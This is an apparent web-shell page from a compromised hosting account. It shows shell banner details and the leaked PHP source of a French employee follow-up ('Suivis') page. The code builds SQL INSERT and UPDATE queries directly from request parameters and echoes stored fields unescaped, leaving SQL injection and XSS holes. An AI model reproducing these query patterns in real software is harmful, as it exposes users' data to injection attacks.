|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$pagemenu = basename($_SERVER["PHP_SELF"]) ;
// mysjjjqli_query($c,"SET NAMES 'utf8'");
if(!empty($_GET['salarie_id']))
{
$_SESSION["salarie_id"]=$_GET['salarie_id'];
}
$salarie_id= 2543 ;
$salarie_idd= 2543 ;
if(isset($_GET['salarie_id']) && $_GET['salarie_id'] > 0)
$salarie_idd = $salarie_id = $_GET['salarie_id'];
$Admin_ID = $_SESSION['MCPRO']['admin'];
function selection_suivi ($suivi_id=0, $name='',$salarie_id=0) {
$str='<select class="form-control select2" style="width: 100%;" name="'.$name.'">';
$suivi = dbi_query("SELECT suivi_intitule, suivi_id FROM suivi WHERE suivi_id NOT IN (SELECT suivi_id FROM test_suivi WHERE inter_id = '".$salarie_id."' AND suivi_parent_id = '0' ) ORDER BY suivi_ordre") ;
while ($a = dbi_fetch_row($suivi))
{
$str.='<option value="'.$a['suivi_id'].'"'.($a['suivi_id']==$suivi_id?' selected="selected"':'').'>'.$a['suivi_intitule'].'</option>';
}
$str.='</select>';
return $str;
}
function selection_biais ($suivi_biais=0, $name='') {
$str='<select name="'.$name.'">';
$suivi = dbi_query("SELECT suivi_biais_intitule, suivi_biais_id FROM suivi_biais ORDER BY suivi_biais_ordre") ;
while ($a = dbi_fetch_row($suivi))
{
$str.='<option value="'.$a['suivi_biais_id'].'"'.($a['suivi_biais_id']==$suivi_biais?' selected="selected"':'').'>'.$a['suivi_biais_intitule'].'</option>';
}
$str.='</select>';
return $str;
}
function getPostDateH ()
{
return date("Y-m-d H:i:s");
// return sprintf('%3$04d-%2$02d-%1$02s %4$02s:%5$02s:%6$02s', $_POST[$name.'day'], $_POST[$name.'month'], $_POST[$name.'year'], $_POST[$name.'_heure'], $_POST[$name.'_minute'], $_POST[$name.'_seconde']) ;
}
if(isset($_POST['suivi_id']) && isset($_POST['nouveau_suivi']))
{
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
$date=getPostDateH();
dbi_query("INSERT INTO test_suivi (client_id, suivi_date, suivi_id,inter_id,suivi_parent_id,client_suivi_clos,Admin_ID)
VALUES ('".$_POST['client_id']."', '$date', '".$_POST['suivi_id']."', '".$_POST['salarie_id']."','0','0','".$Admin_ID."')");
}
if(isset($_POST['suivi_id']) && isset($_POST['nouvelle_action_suivi']))
{
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
$date=getPostDateH();
dbi_query("INSERT INTO test_suivi
(client_id, suivi_date, suivi_id,suivi_biais_id, suivi_parent_id, annotation,Admin_ID, inter_id, suivi_programme, client_suivi_clos)
VALUES ('".$_POST['client_id']."', '$date', '".$_POST['suivi_id']."','".$_POST['suivi_biais_id']."', '".$_POST['suivi_parent_id']."', '".nl2br($_POST['suivi_annotation'])."', '".$Admin_ID."', '".$_POST['salarie_id']."', '1','0')");
// dbi_query("INSERT INTO client_suivi (client_id, suivi_date, suivi_id,inter_id,client_suivi_id,client_suivi_clos)
// VALUES ('".$_POST['client_id']."', '$date', '".$_POST['suivi_id']."', '".$_POST['salarie_id']."','0','0')");
}
if(isset($_POST['suivi_id']) && isset($_POST['upt_action_suivi']))
{
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
$date=getPostDateH();
dbi_query(" update test_suivi SET suivi_biais_id ='".$_POST['suivi_biais_id']."',Admin_ID ='".$Admin_ID."',inter_id ='".$_POST['salarie_id']."' ,client_id = ".$_POST['client_id']." , annotation = '".$_POST['suivi_annotation']."' WHERE client_suivi_id = ".$_POST['suivi_id']." ");
// dbi_query("INSERT INTO client_suivi (client_id, suivi_date, suivi_id,inter_id,client_suivi_id,client_suivi_clos)
// VALUES ('".$_POST['client_id']."', '$date', '".$_POST['suivi_id']."', '".$_POST['salarie_id']."','0','0')");
}
// function dateDifference($date1, $date2)
// {
// $first = DateTime::createFromFormat('m/d/Y', $date1);
// $second = DateTime::createFromFormat('m/d/Y', $date2);
// if($date1 > $date2) return week_between_two_dates($date2, $date1);
// return floor($first->diff($second)->days/7);
// }
// $days = array(0 s=> 'sunday', 1 => 'monday', 2 => 'tuesday', 3 => 'wednesday', 4 => 'thursday', 5 => 'friday', 6 => 'saturday');
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>LogMCPRO | Suivis</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- Select2 -->
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
<!-- fullCalendar -->
<link rel="stylesheet" href="../plugins/fullcalendar/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-daygrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-timegrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-bootstrap/main.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
<!-- Daterange picker -->
<link rel="stylesheet" href="../plugins/daterangepicker/daterangepicker.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<style>
.myCollapse {
display: none;
}
.myCollapse.in {
display: block;
}
.modal-header {
padding: 15px;
border-bottom: 1px solid #e5e5e5;
}
.modal-header {
background: #226faa;
background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
border-radius: 6px;
color: #fff;
padding: 18px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
border-color: transparent;
}
.modal-header .close {
margin-top: -3px;
font-size: 24px;
font-weight: 400;
color: #fff;
opacity: .9;
width: 28px;
height: 28px;
padding-bottom: 0;
padding-left: 1px;
}
button.close {
padding: 0;
cursor: pointer;
background: 0 0;
border: 0;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
}
</style>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-nouveaucontact"> <?php echo strtoupper ("NOUVEAU Suivi") ; ?> </button></h3>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<!-- BARRE DE NAVIGATION -->
<!-- Couleur et caracteristiques de la barre de navigation-->
<?php include('menu.php'); ?>
<!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
<div class="modal fade" id="modal-nouveaucontact">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="card-title"><b><i class='far fa-clock'> Ajouter Un Suivi</i></b></h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<!-- ///////Ligne Nom -->
<form method="POST" action="">
<input type="hidden" id="client_id" name="client_id" value="<?php echo $client_id ;?>"/>
<div class="form-group col-md-8">
<label>Type de suivi </label>
<div class="input-group">
<?php echo selection_suivi(0,'suivi_id',$client_id) ;?>
</div>
</div>
</div>
<div class="modal-footer justify-content-between">
<button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
<input type="submit" class="btn btn-primary" name ='nouveau_suivi' value="Ajouter">
</div>
</form>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
</div><!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<div class="content">
<div class="container-fluid">
<div class="row">
<!-- DEFINITION DES COLONNES -->
<div class="col-lg-3">
<?php include('widget_salarie.php'); ?>
<!-- BARRE DE NAVIGATION DU CLIENT -->
<?php include('menu_salarie.php'); ?>
</div>
<!-- PASSAGE A LA COLONNE DE DROITE-->
<!-- /.col -->
<div class="col-lg-9">
<div class="modal fade" id="myModal1" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch1" ></div>
</div>
</div>
</div>
<div class="modal fade" id="myModal2" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch2" ></div>
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<h5 class="m-0"><i class='nav-icon far fa-calendar-alt'></i> <?php echo strtoupper ("Suivis en cours") ; ?> </h5>
<div class="card-tools">
<button type="button" class="btn btn-tool" data-card-widget="collapse"><i class="fas fa-minus"></i>
</button>
</div>
<!-- /.card-tools -->
</div>
<!-- /.card-header -->
<div class="card-body">
<?php
// $bage='badge badge-success';
// LEFT JOIN users u ON cs.Admin_ID = u.user_id
// concat(salarie_nom, ' ', salarie_prenom) nom
$sql ="
SELECT client_id, client_nom nom, humeur, suivi_intitule, annotation, suivi_id, inter_id, client_suivi_id, suivi_date, client_suivi_clos, suivi_biais_intitule
FROM test_suivi
LEFT JOIN suivi USING(suivi_id)
LEFT JOIN suivi_biais USING(suivi_biais_id)
LEFT JOIN client c USING(client_id)
WHERE inter_id = '".$salarie_id."' AND suivi_parent_id = '0'
ORDER BY client_suivi_clos ,suivi_date DESC";
$suivi = dbi_query($sql) ;
// echo $sql;
// $suivi = dbi_query($sql) ;
$i = 1;
$rowcount=mysqli_num_rows($suivi);
if($rowcount > 0)
{
?>
<table id="example1" class="table table-bordered table-striped">
<tbody>
<?php while($Lsuivi=dbi_fetch_row($suivi)) {
// echo "=== >".$Lsuivi['client_suivi_id']."<br/>" ;
?>
<tr>
<td style='text-align: left; vertical-align: middle;'>
<?php
echo $i." - <strong> ".$Lsuivi['suivi_intitule'];?></strong>
</td>
<td style='text-align: center; vertical-align: middle;white-space: nowrap;'>
<b><a class="btn btn-info btn-sm" href="#suivi<?php echo $Lsuivi['client_suivi_id']; ?>" data-toggle="collapse" > <span class="new-checklist-item"> Voir </span> </a> </b>
</td>
<td style='text-align: center; vertical-align: middle;white-space: nowrap;'>
<b><a class="btn btn-danger btn-sm" href="#myModal1" id="custId" data-toggle="modal" data-id="<?php echo $Lsuivi['client_suivi_id']; ?>" > <span class="new-checklist-item">Nouvelle action </span> </a></b>
</td>
</tr>
<tr>
<td colspan="3">
<div class="collapse" id="suivi<?php echo $Lsuivi['client_suivi_id']; ?>">
<span style=" display: inline; ">
<ul class="todo-list ui-sortable" data-widget="todo-list">
<?php
// collapse show
$sql1 ="
SELECT client_id, client_nom nom, concat(salarie_nom, ' ', salarie_prenom) snom,humeur, suivi_intitule, annotation, suivi_id, cs.inter_id, client_suivi_id, suivi_date, client_suivi_clos, suivi_biais_intitule ,concat(Admin_nom , ' ', Admin_pnom) AS user_nom
FROM test_suivi cs
LEFT JOIN suivi USING(suivi_id)
LEFT JOIN suivi_biais USING(suivi_biais_id)
LEFT JOIN client c USING(client_id)
LEFT JOIN administratif u ON cs.Admin_ID = u.Admin_ID
LEFT JOIN salarie s ON s.salarie_id = cs.inter_id
WHERE suivi_parent_id = '".$Lsuivi['client_suivi_id']."'
ORDER BY client_suivi_clos ,suivi_date DESC ";
$suivi1 = dbi_query($sql1) ;
while ($Lsuivi1 = dbi_fetch_row($suivi1))
{
$old_date_timestamp = strtotime($Lsuivi1['suivi_date']);
$suivi_date = date('d/m/Y', $old_date_timestamp);
?>
<li>
<span class="handle ui-sortable-handle">
<div class="custom-control custom-switch">
<input onclick="enableTxt(this)" onFocus="Complété" class="custom-control-input" type="checkbox" value="<?php echo $Lsuivi1['client_suivi_id'];?>" name="etat" id="todoCheck<?php echo $Lsuivi1['client_suivi_id'];?>" <?php if($Lsuivi1['client_suivi_clos'] == 1 ) echo 'checked '; ?>>
<label class="custom-control-label" for="todoCheck<?php echo $Lsuivi1['client_suivi_id'];?>"></label>
</div>
</span>
<small class="badge badge-info"><i class="far fa-clock"></i><?php echo ' le '.$suivi_date;?></small>
<small class='badge badge-danger' ><b> <i class='nav-icon fas fa-user'> <?php echo $Lsuivi1['user_nom'] ?> </i></b> </small>
<small class='badge badge-success' ><b> <i class='nav-icon fas fa-user'> <?php echo $Lsuivi1['snom'] ?> </i></b> </small> <br/>
<span><b><a href="#"> <?php echo $Lsuivi1['suivi_biais_intitule'] ?> </a></b></span> <br/>
<span> <?php echo $Lsuivi1['annotation'] ?> </span>
<div class="tools">
<i class="fas fa-edit">
<a style="color:#dc3545;" href="#myModal2" id="custId" data-toggle="modal" data-id="<?php echo $Lsuivi1['client_suivi_id']; ?>" >Modifier </a>
</i>
<i class="fas fa-trash-o"></i>
</div>
<?php //echo $Lsuivi1['client_suivi_id'] ?>
</li>
<?php
// echo $Lsuivi1['suivi_intitule'].'<br/>';
}
?>
</ul>
</span>
</div>
</td>
</tr>
<?php ++$i;} ?>
</tbody>
</table>
<?php } ?>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
<div class="card">
<div class="card-header">
<h5 class="m-0"><i class="nav-icon far fa-calendar-alt"></i> <?php echo strtoupper ("Suivis Terminés") ; ?> </h5>
<div class="card-tools">
<button type="button" class="btn btn-tool" data-card-widget="collapse"><i class="fas fa-minus"></i>
</button>
</div>
<!-- /.card-tools -->
</div>
<!-- /.card-header -->
<div class="card-body">
<?php
// $bage='badge badge-success';
// LEFT JOIN users u ON cs.Admin_ID = u.user_id
// concat(salarie_nom, ' ', salarie_prenom) nom
// AND client_suivi_id IN (
// select suivi_parent_id from test_suivi t2
// WHERE t2.client_id = '".$client_id."' AND t2.suivi_parent_id > 0
// AND t2.client_suivi_clos = 0)
$sql ="
SELECT client_id, concat(salarie_nom, ' ', salarie_prenom) nom, humeur, suivi_intitule, annotation, suivi_id, t.inter_id, client_suivi_id, suivi_date, client_suivi_clos, suivi_biais_intitule
FROM test_suivi t
LEFT JOIN suivi USING(suivi_id)
LEFT JOIN suivi_biais USING(suivi_biais_id)
LEFT JOIN salarie s ON s.salarie_id = t.inter_id
WHERE client_id = '".$client_id."' AND suivi_parent_id = '0'
AND client_suivi_id NOT IN ( select suivi_parent_id from test_suivi t2 WHERE t2.client_id = $client_id AND t2.suivi_parent_id > 0 AND t2.client_suivi_clos = '0' )
AND client_suivi_id IN ( select suivi_parent_id from test_suivi t2 WHERE t2.client_id = $client_id AND t2.suivi_parent_id > 0 )
ORDER BY client_suivi_clos ,suivi_date DESC";
$suivi = dbi_query($sql) ;
$i = 1;
$rowcount=mysqli_num_rows($suivi);
if($rowcount > 0)
{
?>
<table id="example1" class="table table-bordered table-striped">
<tbody>
<?php while($Lsuivi=dbi_fetch_row($suivi)) { ?>
<tr>
<td style='text-align: left; vertical-align: middle;'>
<?php
echo $i." - <strong> ".$Lsuivi['suivi_intitule'];?></strong>
</td>
<td style='text-align: center; vertical-align: middle;white-space: nowrap;'>
<b><a class="btn btn-info btn-sm" href="#suivi<?php echo $Lsuivi['client_suivi_id']; ?>" data-toggle="collapse" > <span class="new-checklist-item"> Voir </span> </a> </b>
</td>
<td style='text-align: center; vertical-align: middle;white-space: nowrap;'>
<b><a class="btn btn-danger btn-sm" href="#myModal1" id="custId" data-toggle="modal" data-id="<?php echo $Lsuivi['client_suivi_id']; ?>" > <span class="new-checklist-item">Nouvelle action </span> </a></b>
</td>
</tr>
<tr>
<td colspan="3">
<div class="collapse" id="suivi<?php echo $Lsuivi['client_suivi_id']; ?>">
<span style=" display: inline; ">
<ul class="todo-list ui-sortable" data-widget="todo-list">
<?php
// collapse show
$sql1 ="
SELECT client_id, client_nom nom, concat(salarie_nom, ' ', salarie_prenom) snom,humeur, suivi_intitule, annotation, suivi_id, cs.inter_id, client_suivi_id, suivi_date, client_suivi_clos, suivi_biais_intitule ,concat(Admin_nom , ' ', Admin_pnom) AS user_nom
FROM test_suivi cs
LEFT JOIN suivi USING(suivi_id)
LEFT JOIN suivi_biais USING(suivi_biais_id)
LEFT JOIN client c USING(client_id)
LEFT JOIN administratif u ON cs.Admin_ID = u.Admin_ID
LEFT JOIN salarie s ON s.salarie_id = cs.inter_id
WHERE suivi_parent_id = '".$Lsuivi['client_suivi_id']."'
ORDER BY client_suivi_clos ,suivi_date DESC ";
$suivi1 = dbi_query($sql1) ;
while ($Lsuivi1 = dbi_fetch_row($suivi1))
{
$old_date_timestamp = strtotime($Lsuivi1['suivi_date']);
$suivi_date = date('d/m/Y', $old_date_timestamp);
?>
<li>
<span class="handle ui-sortable-handle">
<div class="custom-control custom-switch">
<input onclick="enableTxt(this)" onFocus="Complété" class="custom-control-input" type="checkbox" value="<?php echo $Lsuivi1['client_suivi_id'];?>" name="etat" id="todoCheck<?php echo $Lsuivi1['client_suivi_id'];?>" <?php if($Lsuivi1['client_suivi_clos'] == 1 ) echo 'checked '; ?>>
<label class="custom-control-label" for="todoCheck<?php echo $Lsuivi1['client_suivi_id'];?>"></label>
</div>
</span>
<small class="badge badge-info"><i class="far fa-clock"></i><?php echo ' le '.$suivi_date;?></small>
<small class='badge badge-danger' ><b> <i class='nav-icon fas fa-user'> <?php echo $Lsuivi1['user_nom'] ?> </i></b> </small>
<small class='badge badge-success' ><b> <i class='nav-icon fas fa-user'> <?php echo $Lsuivi1['snom'] ?> </i></b> </small> <br/>
<span><b><a href="#"> <?php echo $Lsuivi1['suivi_biais_intitule'] ?> </a></b></span> <br/>
<span> <?php echo $Lsuivi1['annotation'] ?> </span>
<div class="tools">
<i class="fas fa-edit">
<a style="color:#dc3545;" href="#myModal2" id="custId" data-toggle="modal" data-id="<?php echo $Lsuivi1['client_suivi_id']; ?>" >Modifier </a>
</i>
<i class="fas fa-trash-o"></i>
</div>
<?php //echo $Lsuivi1['client_suivi_id'] ?>
</li>
<?php
// echo $Lsuivi1['suivi_intitule'].'<br/>';
}
?>
</ul>
</span>
</div>
</td>
</tr>
<?php ++$i;} ?>
</tbody>
</table>
<?php } ?>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
</div>
</div>
</div>
<!-- /.col-md-6 -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content -->
</div>
<!-- Modal -->
<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Post Event</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body result">
</div>
</div>
</div>
</div>
<!-- /.content-wrapper -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
<div class="p-3">
<h5>Title</h5>
<p>Sidebar content</p>
</div>
</aside>
<!-- /.control-sidebar -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- SweetAlert2 -->
<script src="../plugins/sweetalert2/sweetalert2.min.js"></script>
<!-- Toastr -->
<script src="../plugins/toastr/toastr.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- jQuery UI -->
<script src="../plugins/jquery-ui/jquery-ui.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- fullCalendar 2.2.5 -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/fullcalendar/main.min.js"></script>
<script src="../plugins/fullcalendar-daygrid/main.min.js"></script>
<script src="../plugins/fullcalendar-timegrid/main.min.js"></script>
<script src="../plugins/fullcalendar-interaction/main.min.js"></script>
<script src="../plugins/fullcalendar-bootstrap/main.min.js"></script>
<script src='../plugins/fullcalendar/locales/fr.js'></script>
<!-- Page script -->
<!-- Page specific script -->
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Initialize Select2 Elements
$('.select2bs4').select2({
theme: 'bootstrap4'
})
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({
timePicker: true,
timePickerIncrement: 30,
locale: {
format: 'MM/DD/YYYY hh:mm A'
}
})
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Timepicker
$('#timepicker').datetimepicker({
format: 'LT'
})
//Bootstrap Duallistbox
$('.duallistbox').bootstrapDualListbox()
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
$('.my-colorpicker2').on('colorpickerChange', function(event) {
$('.my-colorpicker2 .fa-square').css('color', event.color.toString());
});
$("input[data-bootstrap-switch]").each(function(){
$(this).bootstrapSwitch('state', $(this).prop('checked'));
});
})
</script>
<!-- page script -->
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false
});
});
</script>
<!--
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({ timePicker: true, timePickerIncrement: 30, format: 'MM/DD/YYYY h:mm A' })
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#daterange-btn span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Date picker
$('#datepicker').datepicker({
autoclose: true
})
//iCheck for checkbox and radio inputs
$('input[type="checkbox"].minimal, input[type="radio"].minimal').iCheck({
checkboxClass: 'icheckbox_minimal-blue',
radioClass : 'iradio_minimal-blue'
})
//Red color scheme for iCheck
$('input[type="checkbox"].minimal-red, input[type="radio"].minimal-red').iCheck({
checkboxClass: 'icheckbox_minimal-red',
radioClass : 'iradio_minimal-red'
})
//Flat red color scheme for iCheck
$('input[type="checkbox"].flat-red, input[type="radio"].flat-red').iCheck({
checkboxClass: 'icheckbox_flat-green',
radioClass : 'iradio_flat-green'
})
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
//Timepicker
$('.timepicker').timepicker({
showInputs: false
})
})</script>
jQuery 3 --
<script src="../../bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap 3.3.7 --
<script src="../../bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- Select2 --
<script src="../../bower_components/select2/dist/js/select2.full.min.js"></script>
<!-- InputMask --
<script src="../../plugins/input-mask/jquery.inputmask.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.date.extensions.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.extensions.js"></script>
<!-- date-range-picker --
<script src="../../bower_components/moment/min/moment.min.js"></script>
<script src="../../bower_components/bootstrap-daterangepicker/daterangepicker.js"></script>
<!-- bootstrap datepicker --
<script src="../../bower_components/bootstrap-datepicker/dist/js/bootstrap-datepicker.min.js"></script>
<!-- bootstrap color picker --
<script src="../../bower_components/bootstrap-colorpicker/dist/js/bootstrap-colorpicker.min.js"></script>
<!-- bootstrap time picker --
<script src="../../plugins/timepicker/bootstrap-timepicker.min.js"></script>
<!-- SlimScroll --
<script src="../../bower_components/jquery-slimscroll/jquery.slimscroll.min.js"></script>
<!-- iCheck 1.0.1 --
<script src="../../plugins/iCheck/icheck.min.js"></script>
<!-- FastClick --
<script src="../../bower_components/fastclick/lib/fastclick.js"></script>
<!-- AdminLTE App -->
<!-- Page script
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({ timePicker: true, timePickerIncrement: 30, format: 'MM/DD/YYYY h:mm A' })
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#daterange-btn span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Date picker
$('#datepicker').datepicker({
autoclose: true
})
//iCheck for checkbox and radio inputs
$('input[type="checkbox"].minimal, input[type="radio"].minimal').iCheck({
checkboxClass: 'icheckbox_minimal-blue',
radioClass : 'iradio_minimal-blue'
})
//Red color scheme for iCheck
$('input[type="checkbox"].minimal-red, input[type="radio"].minimal-red').iCheck({
checkboxClass: 'icheckbox_minimal-red',
radioClass : 'iradio_minimal-red'
})
//Flat red color scheme for iCheck
$('input[type="checkbox"].flat-red, input[type="radio"].flat-red').iCheck({
checkboxClass: 'icheckbox_flat-green',
radioClass : 'iradio_flat-green'
})
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
//Timepicker
$('.timepicker').timepicker({
showInputs: false
})
})
</script>
-->
<script type="text/javascript">
$( document ).ready(function() {
// alert('OK');
// $("#salarie_mutuelle").click(function () {
// val=$(this).val();
// if(val==1){
// $("#end").prop('disabled', false);
// }else{
// $("#end").prop('disabled', true);
// }
// });
$('#myModal1').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'suivi_sal_action.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch1').html(data);//Show fetched data from database
}
});
});
$('#myModal2').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
var client_id= $(this).attr('client_id');
// alert(rowid);
$.ajax({
type : 'post',
url : 'suivi_sal_action_upt.php', //Here you will fetch records
data : 'rowid='+ rowid+'&client_id='+client_id, //Pass $id
success : function(data){
$('#fetch2').html(data);//Show fetched data from database
}
